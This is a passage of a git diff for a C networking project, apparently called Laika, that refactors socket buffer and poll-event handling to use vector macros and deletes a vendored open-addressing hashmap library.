@@ -203,7 +198,7 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList)
|
||||
int i;
|
||||
|
||||
/* flush pList's outQueue */
|
||||
for (i = 0; i < pList->outCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
|
||||
sock = pList->outQueue[i];
|
||||
LAIKA_DEBUG("sending OUT to %p\n", sock);
|
||||
if (sock->onPollOut && !sock->onPollOut(sock) && sock->onPollFail)
|
||||
@@ -216,7 +211,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
{
|
||||
int nEvents, i;
|
||||
|
||||
pList->reventCount = 0; /* reset revent array */
|
||||
laikaM_countVector(pList->revents) = 0; /* reset revent array */
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a
|
||||
lookup into our socket hashmap not to mention the various improvements epoll() has over
|
||||
@@ -229,22 +224,21 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
|
||||
for (i = 0; i < nEvents; i++) {
|
||||
/* add event to revent array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
|
||||
pList->reventCap);
|
||||
pList->revents[pList->reventCount++] =
|
||||
laikaM_growVector(struct sLaika_pollEvent, pList->revents, 1);
|
||||
pList->revents[laikaM_countVector(pList->revents)++] =
|
||||
(struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr,
|
||||
.pollIn = pList->ep_events[i].events & EPOLLIN,
|
||||
.pollOut = pList->ep_events[i].events & EPOLLOUT};
|
||||
}
|
||||
#else
|
||||
nEvents = poll(pList->fds, pList->fdCount,
|
||||
timeout); /* poll returns -1 for error, or the number of events */
|
||||
/* poll returns -1 for error, or the number of events */
|
||||
nEvents = poll(pList->fds, laikaM_countVector(pList->fds), timeout);
|
||||
|
||||
if (SOCKETERROR(nEvents))
|
||||
LAIKA_ERROR("poll() failed!\n");
|
||||
|
||||
/* walk through the returned poll fds, if they have an event, add it to our revents array */
|
||||
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
|
||||
for (i = 0; i < laikaM_countVector(pList->fds) && nEvents > 0; i++) {
|
||||
PollFD pfd = pList->fds[i];
|
||||
if (pList->fds[i].revents != 0) {
|
||||
/* grab socket from hashmap */
|
||||
@@ -252,9 +246,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
||||
|
||||
/* insert event into revents array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
|
||||
pList->reventCap);
|
||||
pList->revents[pList->reventCount++] =
|
||||
laikaM_growVector(struct sLaika_pollEvent, pList->revents, 1);
|
||||
pList->revents[laikaM_countVector(pList->revents)++] =
|
||||
(struct sLaika_pollEvent){.sock = elem->sock,
|
||||
.pollIn = pfd.revents & POLLIN,
|
||||
.pollOut = pfd.revents & POLLOUT};
|
||||
@@ -264,7 +257,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
}
|
||||
#endif
|
||||
|
||||
*_nevents = pList->reventCount;
|
||||
*_nevents = laikaM_countVector(pList->revents);
|
||||
|
||||
/* return revents array */
|
||||
return pList->revents;
|
||||
@@ -1,24 +1,13 @@
|
||||
#include "lsocket.h"
|
||||
#include "net/lsocket.h"
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsodium.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "net/lpacket.h"
|
||||
#include "net/lpolllist.h"
|
||||
|
||||
static int _LNSetup = 0;
|
||||
|
||||
bool laikaS_isBigEndian(void)
|
||||
{
|
||||
union
|
||||
{
|
||||
uint32_t i;
|
||||
uint8_t c[4];
|
||||
} _indxint = {0xDEADB33F};
|
||||
|
||||
return _indxint.c[0] == 0xDE;
|
||||
}
|
||||
|
||||
void laikaS_init(void)
|
||||
{
|
||||
if (_LNSetup++ > 0)
|
||||
@@ -42,6 +31,8 @@ void laikaS_cleanUp(void)
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ======================================[[ Socket API ]]======================================= */
|
||||
|
||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
||||
pollFailEvent onPollFail, void *uData)
|
||||
{
|
||||
@@ -50,12 +41,8 @@ void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent
|
||||
sock->onPollIn = onPollIn;
|
||||
sock->onPollOut = onPollOut;
|
||||
sock->uData = uData;
|
||||
sock->inBuf = NULL;
|
||||
sock->inCap = 8;
|
||||
sock->inCount = 0;
|
||||
sock->outBuf = NULL;
|
||||
sock->outCap = 8;
|
||||
sock->outCount = 0;
|
||||
laikaM_initVector(sock->inBuf, 8);
|
||||
laikaM_initVector(sock->outBuf, 8);
|
||||
sock->flipEndian = false;
|
||||
sock->setPollOut = false;
|
||||
|
||||
@@ -195,46 +182,48 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock)
|
||||
return true;
|
||||
}
|
||||
|
||||
/* =====================================[[ Socket stream ]]===================================== */
|
||||
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
|
||||
{
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
laikaM_rmvVector(sock->inBuf, 0, sz);
|
||||
}
|
||||
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz)
|
||||
{
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||
laikaM_growVector(uint8_t, sock->outBuf, sz);
|
||||
|
||||
/* set NULL bytes */
|
||||
memset(&sock->outBuf[sock->outCount], 0, sz);
|
||||
sock->outCount += sz;
|
||||
memset(&sock->outBuf[laikaM_countVector(sock->outBuf)], 0, sz);
|
||||
laikaM_countVector(sock->outBuf) += sz;
|
||||
}
|
||||
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
{
|
||||
memcpy(buf, sock->inBuf, sz);
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
laikaM_rmvVector(sock->inBuf, 0, sz);
|
||||
}
|
||||
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
{
|
||||
/* make sure we have enough space to copy the buffer */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||
laikaM_growVector(uint8_t, sock->outBuf, sz);
|
||||
|
||||
/* copy the buffer, then increment outCount */
|
||||
memcpy(&sock->outBuf[sock->outCount], buf, sz);
|
||||
sock->outCount += sz;
|
||||
memcpy(&sock->outBuf[laikaM_countVector(sock->outBuf)], buf, sz);
|
||||
laikaM_countVector(sock->outBuf) += sz;
|
||||
}
|
||||
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub)
|
||||
{
|
||||
/* make sure we have enough space to encrypt the buffer */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
|
||||
laikaM_growVector(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz));
|
||||
|
||||
/* encrypt the buffer into outBuf */
|
||||
if (crypto_box_seal(&sock->outBuf[sock->outCount], buf, sz, pub) != 0)
|
||||
if (crypto_box_seal(&sock->outBuf[laikaM_countVector(sock->outBuf)], buf, sz, pub) != 0)
|
||||
LAIKA_ERROR("Failed to encrypt!\n");
|
||||
|
||||
sock->outCount += LAIKAENC_SIZE(sz);
|
||||
laikaM_countVector(sock->outBuf) += LAIKAENC_SIZE(sz);
|
||||
}
|
||||
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
|
||||
@@ -244,108 +233,68 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
|
||||
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
|
||||
LAIKA_ERROR("Failed to decrypt!\n");
|
||||
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
|
||||
laikaM_rmvVector(sock->inBuf, 0, LAIKAENC_SIZE(sz));
|
||||
}
|
||||
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data)
|
||||
{
|
||||
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
|
||||
sock->outBuf[sock->outCount++] = data;
|
||||
laikaM_growVector(uint8_t, sock->outBuf, 1);
|
||||
sock->outBuf[laikaM_countVector(sock->outBuf)++] = data;
|
||||
}
|
||||
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock)
|
||||
{
|
||||
uint8_t tmp = *sock->inBuf;
|
||||
|
||||
/* pop 1 byte */
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, 1);
|
||||
/* consume 1 byte */
|
||||
laikaM_rmvVector(sock->inBuf, 0, 1);
|
||||
return tmp;
|
||||
}
|
||||
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i)
|
||||
{
|
||||
if (sock->flipEndian) {
|
||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
||||
int k;
|
||||
uint16_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
|
||||
|
||||
laikaS_read(sock, (void *)tmp, sz);
|
||||
if (sock->flipEndian)
|
||||
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||
|
||||
/* copy tmp buffer to user buffer, flipping endianness */
|
||||
for (k = 0; k < sz; k++)
|
||||
*((uint8_t *)buf + k) = tmp[sz - k - 1];
|
||||
|
||||
ENDVLA(tmp);
|
||||
} else {
|
||||
/* just a wrapper for laikaS_read */
|
||||
laikaS_read(sock, buf, sz);
|
||||
}
|
||||
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
|
||||
}
|
||||
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
uint16_t laikaS_readu16(struct sLaika_socket *sock)
|
||||
{
|
||||
if (sock->flipEndian) {
|
||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
||||
int k;
|
||||
uint16_t tmp;
|
||||
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
|
||||
|
||||
/* copy user buffer to tmp buffer, flipping endianness */
|
||||
for (k = 0; k < sz; k++)
|
||||
tmp[k] = *((uint8_t *)buf + (sz - k - 1));
|
||||
if (sock->flipEndian)
|
||||
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||
|
||||
laikaS_write(sock, (void *)tmp, sz);
|
||||
ENDVLA(tmp);
|
||||
} else {
|
||||
/* just a wrapper for laikaS_write */
|
||||
laikaS_write(sock, buf, sz);
|
||||
}
|
||||
return tmp;
|
||||
}
|
||||
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i)
|
||||
{
|
||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||
int i, rcvd, start = sock->inCount;
|
||||
uint32_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
|
||||
|
||||
/* sanity check */
|
||||
if (sz == 0)
|
||||
return RAWSOCK_OK;
|
||||
if (sock->flipEndian)
|
||||
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||
|
||||
/* make sure we have enough space to recv */
|
||||
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
|
||||
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
|
||||
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
|
||||
}
|
||||
|
||||
if (rcvd == 0) {
|
||||
errCode = RAWSOCK_CLOSED;
|
||||
} else if (SOCKETERROR(rcvd) &&
|
||||
LN_ERRNO != LN_EWOULD
|
||||
#ifndef _WIN32
|
||||
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
|
||||
recoverable error, there's just nothing to read lol) */
|
||||
&& LN_ERRNO != EAGAIN
|
||||
#endif
|
||||
) {
|
||||
/* if the socket closed or an error occurred, return the error result */
|
||||
errCode = RAWSOCK_ERROR;
|
||||
} else if (rcvd > 0) {
|
||||
#if 0
|
||||
/* for debugging */
|
||||
printf("---recv'd %d bytes---\n", rcvd);
|
||||
for (i = 1; i <= rcvd; i++) {
|
||||
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
|
||||
if (i % 16 == 0) {
|
||||
printf("\n");
|
||||
} else if (i % 8 == 0) {
|
||||
printf("\t");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
uint32_t laikaS_readu32(struct sLaika_socket *sock)
|
||||
{
|
||||
uint32_t tmp;
|
||||
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
|
||||
|
||||
/* recv() worked, add rcvd to inCount */
|
||||
sock->inCount += rcvd;
|
||||
}
|
||||
*processed = rcvd;
|
||||
return errCode;
|
||||
if (sock->flipEndian)
|
||||
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||
|
||||
return tmp;
|
||||
}
|
||||
|
||||
/* ===================================[[ Socket send/recv ]]==================================== */
|
||||
|
||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||
{
|
||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||
@@ -382,23 +331,43 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
} while ((sentBytes += sent) < sz);
|
||||
|
||||
_rawWriteExit:
|
||||
#if 0
|
||||
/* for debugging */
|
||||
printf("---sent %d bytes---\n", sent);
|
||||
for (i = 1; i <= sentBytes; i++) {
|
||||
printf("%.2x ", sock->outBuf[i-1]);
|
||||
if (i % 16 == 0) {
|
||||
printf("\n");
|
||||
} else if (i % 8 == 0) {
|
||||
printf("\t");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
/* trim sent data from outBuf */
|
||||
laikaM_rmvarray(sock->outBuf, sock->outCount, 0, sentBytes);
|
||||
laikaM_rmvVector(sock->outBuf, 0, sentBytes);
|
||||
|
||||
*processed = sentBytes;
|
||||
return errCode;
|
||||
}
|
||||
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||
{
|
||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||
int i, rcvd, start = laikaM_countVector(sock->inBuf);
|
||||
|
||||
/* sanity check */
|
||||
if (sz == 0)
|
||||
return RAWSOCK_OK;
|
||||
|
||||
/* make sure we have enough space to recv */
|
||||
laikaM_growVector(uint8_t, sock->inBuf, sz);
|
||||
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[laikaM_countVector(sock->inBuf)], sz,
|
||||
LN_MSG_NOSIGNAL);
|
||||
|
||||
if (rcvd == 0) {
|
||||
errCode = RAWSOCK_CLOSED;
|
||||
} else if (SOCKETERROR(rcvd) &&
|
||||
LN_ERRNO != LN_EWOULD
|
||||
#ifndef _WIN32
|
||||
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
|
||||
recoverable error, there's just nothing to read lol) */
|
||||
&& LN_ERRNO != EAGAIN
|
||||
#endif
|
||||
) {
|
||||
/* if the socket closed or an error occurred, return the error result */
|
||||
errCode = RAWSOCK_ERROR;
|
||||
} else if (rcvd > 0) {
|
||||
/* recv() worked, add rcvd to inCount */
|
||||
laikaM_countVector(sock->inBuf) += rcvd;
|
||||
}
|
||||
*processed = rcvd;
|
||||
return errCode;
|
||||
}
|
||||
936
lib/vendor/hashmap.c
vendored
936
lib/vendor/hashmap.c
vendored
@@ -1,936 +0,0 @@
|
||||
// Copyright 2020 Joshua J Baker. All rights reserved.
|
||||
// Use of this source code is governed by an MIT-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include "hashmap.h"
|
||||
|
||||
static void *(*_malloc)(size_t) = NULL;
|
||||
static void *(*_realloc)(void *, size_t) = NULL;
|
||||
static void (*_free)(void *) = NULL;
|
||||
|
||||
// hashmap_set_allocator allows for configuring a custom allocator for
|
||||
// all hashmap library operations. This function, if needed, should be called
|
||||
// only once at startup and a prior to calling hashmap_new().
|
||||
void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void*))
|
||||
{
|
||||
_malloc = malloc;
|
||||
_free = free;
|
||||
}
|
||||
|
||||
#define panic(_msg_) { \
|
||||
/*fprintf(stderr, "panic: %s (%s:%d)\n", (_msg_), __FILE__, __LINE__);*/ \
|
||||
exit(1); \
|
||||
}
|
||||
|
||||
struct bucket {
|
||||
uint64_t hash:48;
|
||||
uint64_t dib:16;
|
||||
};
|
||||
|
||||
// hashmap is an open addressed hash map using robinhood hashing.
|
||||
struct hashmap {
|
||||
void *(*malloc)(size_t);
|
||||
void *(*realloc)(void *, size_t);
|
||||
void (*free)(void *);
|
||||
bool oom;
|
||||
size_t elsize;
|
||||
size_t cap;
|
||||
uint64_t seed0;
|
||||
uint64_t seed1;
|
||||
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1);
|
||||
int (*compare)(const void *a, const void *b, void *udata);
|
||||
void (*elfree)(void *item);
|
||||
void *udata;
|
||||
size_t bucketsz;
|
||||
size_t nbuckets;
|
||||
size_t count;
|
||||
size_t mask;
|
||||
size_t growat;
|
||||
size_t shrinkat;
|
||||
void *buckets;
|
||||
void *spare;
|
||||
void *edata;
|
||||
};
|
||||
|
||||
static struct bucket *bucket_at(struct hashmap *map, size_t index) {
|
||||
return (struct bucket*)(((char*)map->buckets)+(map->bucketsz*index));
|
||||
}
|
||||
|
||||
static void *bucket_item(struct bucket *entry) {
|
||||
return ((char*)entry)+sizeof(struct bucket);
|
||||
}
|
||||
|
||||
static uint64_t get_hash(struct hashmap *map, const void *key) {
|
||||
return map->hash(key, map->seed0, map->seed1) << 16 >> 16;
|
||||
}
|
||||
|
||||
// hashmap_new_with_allocator returns a new hash map using a custom allocator.
|
||||
// See hashmap_new for more information information
|
||||
struct hashmap *hashmap_new_with_allocator(
|
||||
void *(*_malloc)(size_t),
|
||||
void *(*_realloc)(void*, size_t),
|
||||
void (*_free)(void*),
|
||||
size_t elsize, size_t cap,
|
||||
uint64_t seed0, uint64_t seed1,
|
||||
uint64_t (*hash)(const void *item,
|
||||
uint64_t seed0, uint64_t seed1),
|
||||
int (*compare)(const void *a, const void *b,
|
||||
void *udata),
|
||||
void (*elfree)(void *item),
|
||||
void *udata)
|
||||
{
|
||||
_malloc = _malloc ? _malloc : malloc;
|
||||
_realloc = _realloc ? _realloc : realloc;
|
||||
_free = _free ? _free : free;
|
||||
int ncap = 16;
|
||||
if (cap < ncap) {
|
||||
cap = ncap;
|
||||
} else {
|
||||
while (ncap < cap) {
|
||||
ncap *= 2;
|
||||
}
|
||||
cap = ncap;
|
||||
}
|
||||
size_t bucketsz = sizeof(struct bucket) + elsize;
|
||||
while (bucketsz & (sizeof(uintptr_t)-1)) {
|
||||
bucketsz++;
|
||||
}
|
||||
// hashmap + spare + edata
|
||||
size_t size = sizeof(struct hashmap)+bucketsz*2;
|
||||
struct hashmap *map = _malloc(size);
|
||||
if (!map) {
|
||||
return NULL;
|
||||
}
|
||||
memset(map, 0, sizeof(struct hashmap));
|
||||
map->elsize = elsize;
|
||||
map->bucketsz = bucketsz;
|
||||
map->seed0 = seed0;
|
||||
map->seed1 = seed1;
|
||||
map->hash = hash;
|
||||
map->compare = compare;
|
||||
map->elfree = elfree;
|
||||
map->udata = udata;
|
||||
map->spare = ((char*)map)+sizeof(struct hashmap);
|
||||
map->edata = (char*)map->spare+bucketsz;
|
||||
map->cap = cap;
|
||||
map->nbuckets = cap;
|
||||
map->mask = map->nbuckets-1;
|
||||
map->buckets = _malloc(map->bucketsz*map->nbuckets);
|
||||
if (!map->buckets) {
|
||||
_free(map);
|
||||
return NULL;
|
||||
}
|
||||
memset(map->buckets, 0, map->bucketsz*map->nbuckets);
|
||||
map->growat = map->nbuckets*0.75;
|
||||
map->shrinkat = map->nbuckets*0.10;
|
||||
map->malloc = _malloc;
|
||||
map->realloc = _realloc;
|
||||
map->free = _free;
|
||||
return map;
|
||||
}
|
||||
|
||||
|
||||
// hashmap_new returns a new hash map.
|
||||
// Param `elsize` is the size of each element in the tree. Every element that
|
||||
// is inserted, deleted, or retrieved will be this size.
|
||||
// Param `cap` is the default lower capacity of the hashmap. Setting this to
|
||||
// zero will default to 16.
|
||||
// Params `seed0` and `seed1` are optional seed values that are passed to the
|
||||
// following `hash` function. These can be any value you wish but it's often
|
||||
// best to use randomly generated values.
|
||||
// Param `hash` is a function that generates a hash value for an item. It's
|
||||
// important that you provide a good hash function, otherwise it will perform
|
||||
// poorly or be vulnerable to Denial-of-service attacks. This implementation
|
||||
// comes with two helper functions `hashmap_sip()` and `hashmap_murmur()`.
|
||||
// Param `compare` is a function that compares items in the tree. See the
|
||||
// qsort stdlib function for an example of how this function works.
|
||||
// The hashmap must be freed with hashmap_free().
|
||||
// Param `elfree` is a function that frees a specific item. This should be NULL
|
||||
// unless you're storing some kind of reference data in the hash.
|
||||
struct hashmap *hashmap_new(size_t elsize, size_t cap,
|
||||
uint64_t seed0, uint64_t seed1,
|
||||
uint64_t (*hash)(const void *item,
|
||||
uint64_t seed0, uint64_t seed1),
|
||||
int (*compare)(const void *a, const void *b,
|
||||
void *udata),
|
||||
void (*elfree)(void *item),
|
||||
void *udata)
|
||||
{
|
||||
return hashmap_new_with_allocator(
|
||||
(_malloc?_malloc:malloc),
|
||||
(_realloc?_realloc:realloc),
|
||||
(_free?_free:free),
|
||||
elsize, cap, seed0, seed1, hash, compare, elfree, udata
|
||||
);
|
||||
}
|
||||
|
||||
static void free_elements(struct hashmap *map) {
|
||||
if (map->elfree) {
|
||||
for (size_t i = 0; i < map->nbuckets; i++) {
|
||||
struct bucket *bucket = bucket_at(map, i);
|
||||
if (bucket->dib) map->elfree(bucket_item(bucket));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// hashmap_clear quickly clears the map.
|
||||
// Every item is called with the element-freeing function given in hashmap_new,
|
||||
// if present, to free any data referenced in the elements of the hashmap.
|
||||
// When the update_cap is provided, the map's capacity will be updated to match
|
||||
// the currently number of allocated buckets. This is an optimization to ensure
|
||||
// that this operation does not perform any allocations.
|
||||
void hashmap_clear(struct hashmap *map, bool update_cap) {
|
||||
map->count = 0;
|
||||
free_elements(map);
|
||||
if (update_cap) {
|
||||
map->cap = map->nbuckets;
|
||||
} else if (map->nbuckets != map->cap) {
|
||||
void *new_buckets = map->malloc(map->bucketsz*map->cap);
|
||||
if (new_buckets) {
|
||||
map->free(map->buckets);
|
||||
map->buckets = new_buckets;
|
||||
}
|
||||
map->nbuckets = map->cap;
|
||||
}
|
||||
memset(map->buckets, 0, map->bucketsz*map->nbuckets);
|
||||
map->mask = map->nbuckets-1;
|
||||
map->growat = map->nbuckets*0.75;
|
||||
map->shrinkat = map->nbuckets*0.10;
|
||||
}
|
||||
|
||||
|
||||
static bool resize(struct hashmap *map, size_t new_cap) {
|
||||
struct hashmap *map2 = hashmap_new(map->elsize, new_cap, map->seed1,
|
||||
map->seed1, map->hash, map->compare,
|
||||
map->elfree, map->udata);
|
||||
if (!map2) {
|
||||
return false;
|
||||
}
|
||||
for (size_t i = 0; i < map->nbuckets; i++) {
|
||||
struct bucket *entry = bucket_at(map, i);
|
||||
if (!entry->dib) {
|
||||
continue;
|
||||
}
|
||||
entry->dib = 1;
|
||||
size_t j = entry->hash & map2->mask;
|
||||
for (;;) {
|
||||
struct bucket *bucket = bucket_at(map2, j);
|
||||
if (bucket->dib == 0) {
|
||||
memcpy(bucket, entry, map->bucketsz);
|
||||
break;
|
||||
}
|
||||
if (bucket->dib < entry->dib) {
|
||||
memcpy(map2->spare, bucket, map->bucketsz);
|
||||
memcpy(bucket, entry, map->bucketsz);
|
||||
memcpy(entry, map2->spare, map->bucketsz);
|
||||
}
|
||||
j = (j + 1) & map2->mask;
|
||||
entry->dib += 1;
|
||||
}
|
||||
}
|
||||
map->free(map->buckets);
|
||||
map->buckets = map2->buckets;
|
||||
map->nbuckets = map2->nbuckets;
|
||||
map->mask = map2->mask;
|
||||
map->growat = map2->growat;
|
||||
map->shrinkat = map2->shrinkat;
|
||||
map->free(map2);
|
||||
return true;
|
||||
}
|
||||
|
||||
// hashmap_set inserts or replaces an item in the hash map. If an item is
|
||||
// replaced then it is returned otherwise NULL is returned. This operation
|
||||
// may allocate memory. If the system is unable to allocate additional
|
||||
// memory then NULL is returned and hashmap_oom() returns true.
|
||||
void *hashmap_set(struct hashmap *map, void *item) {
|
||||
if (!item) {
|
||||
panic("item is null");
|
||||
}
|
||||
map->oom = false;
|
||||
if (map->count == map->growat) {
|
||||
if (!resize(map, map->nbuckets*2)) {
|
||||
map->oom = true;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
struct bucket *entry = map->edata;
|
||||
entry->hash = get_hash(map, item);
|
||||
entry->dib = 1;
|
||||
memcpy(bucket_item(entry), item, map->elsize);
|
||||
|
||||
size_t i = entry->hash & map->mask;
|
||||
for (;;) {
|
||||
struct bucket *bucket = bucket_at(map, i);
|
||||
if (bucket->dib == 0) {
|
||||
memcpy(bucket, entry, map->bucketsz);
|
||||
map->count++;
|
||||
return NULL;
|
||||
}
|
||||
if (entry->hash == bucket->hash &&
|
||||
map->compare(bucket_item(entry), bucket_item(bucket),
|
||||
map->udata) == 0)
|
||||
{
|
||||
memcpy(map->spare, bucket_item(bucket), map->elsize);
|
||||
memcpy(bucket_item(bucket), bucket_item(entry), map->elsize);
|
||||
return map->spare;
|
||||
}
|
||||
if (bucket->dib < entry->dib) {
|
||||
memcpy(map->spare, bucket, map->bucketsz);
|
||||
memcpy(bucket, entry, map->bucketsz);
|
||||
memcpy(entry, map->spare, map->bucketsz);
|
||||
}
|
||||
i = (i + 1) & map->mask;
|
||||
entry->dib += 1;
|
||||
}
|
||||
}
|
||||
|
||||
// hashmap_get returns the item based on the provided key. If the item is not
|
||||
// found then NULL is returned.
|
||||
void *hashmap_get(struct hashmap *map, const void *key) {
|
||||
if (!key) {
|
||||
panic("key is null");
|
||||
}
|
||||
uint64_t hash = get_hash(map, key);
|
||||
size_t i = hash & map->mask;
|
||||
for (;;) {
|
||||
struct bucket *bucket = bucket_at(map, i);
|
||||
if (!bucket->dib) {
|
||||
return NULL;
|
||||
}
|
||||
if (bucket->hash == hash &&
|
||||
map->compare(key, bucket_item(bucket), map->udata) == 0)
|
||||
{
|
||||
return bucket_item(bucket);
|
||||
}
|
||||
i = (i + 1) & map->mask;
|
||||
}
|
||||
}
|
||||
|
||||
// hashmap_probe returns the item in the bucket at position or NULL if an item
|
||||
// is not set for that bucket. The position is 'moduloed' by the number of
|
||||
// buckets in the hashmap.
|
||||
void *hashmap_probe(struct hashmap *map, uint64_t position) {
|
||||
size_t i = position & map->mask;
|
||||
struct bucket *bucket = bucket_at(map, i);
|
||||
if (!bucket->dib) {
|
||||
return NULL;
|
||||
}
|
||||
return bucket_item(bucket);
|
||||
}
|
||||
|
||||
|
||||
// hashmap_delete removes an item from the hash map and returns it. If the
|
||||
// item is not found then NULL is returned.
|
||||
void *hashmap_delete(struct hashmap *map, void *key) {
|
||||
if (!key) {
|
||||
panic("key is null");
|
||||
}
|
||||
map->oom = false;
|
||||
uint64_t hash = get_hash(map, key);
|
||||
size_t i = hash & map->mask;
|
||||
for (;;) {
|
||||
struct bucket *bucket = bucket_at(map, i);
|
||||
if (!bucket->dib) {
|
||||
return NULL;
|
||||
}
|
||||
if (bucket->hash == hash &&
|
||||
map->compare(key, bucket_item(bucket), map->udata) == 0)
|
||||
{
|
||||
memcpy(map->spare, bucket_item(bucket), map->elsize);
|
||||
bucket->dib = 0;
|
||||
for (;;) {
|
||||
struct bucket *prev = bucket;
|
||||
i = (i + 1) & map->mask;
|
||||
bucket = bucket_at(map, i);
|
||||
if (bucket->dib <= 1) {
|
||||
prev->dib = 0;
|
||||
break;
|
||||
}
|
||||
memcpy(prev, bucket, map->bucketsz);
|
||||
prev->dib--;
|
||||
}
|
||||
map->count--;
|
||||
if (map->nbuckets > map->cap && map->count <= map->shrinkat) {
|
||||
// Ignore the return value. It's ok for the resize operation to
|
||||
// fail to allocate enough memory because a shrink operation
|
||||
// does not change the integrity of the data.
|
||||
resize(map, map->nbuckets/2);
|
||||
}
|
||||
return map->spare;
|
||||
}
|
||||
i = (i + 1) & map->mask;
|
||||
}
|
||||
}
|
||||
|
||||
// hashmap_count returns the number of items in the hash map.
|
||||
size_t hashmap_count(struct hashmap *map) {
|
||||
return map->count;
|
||||
}
|
||||
|
||||
// hashmap_free frees the hash map
|
||||
// Every item is called with the element-freeing function given in hashmap_new,
|
||||
// if present, to free any data referenced in the elements of the hashmap.
|
||||
void hashmap_free(struct hashmap *map) {
|
||||
if (!map) return;
|
||||
free_elements(map);
|
||||
map->free(map->buckets);
|
||||
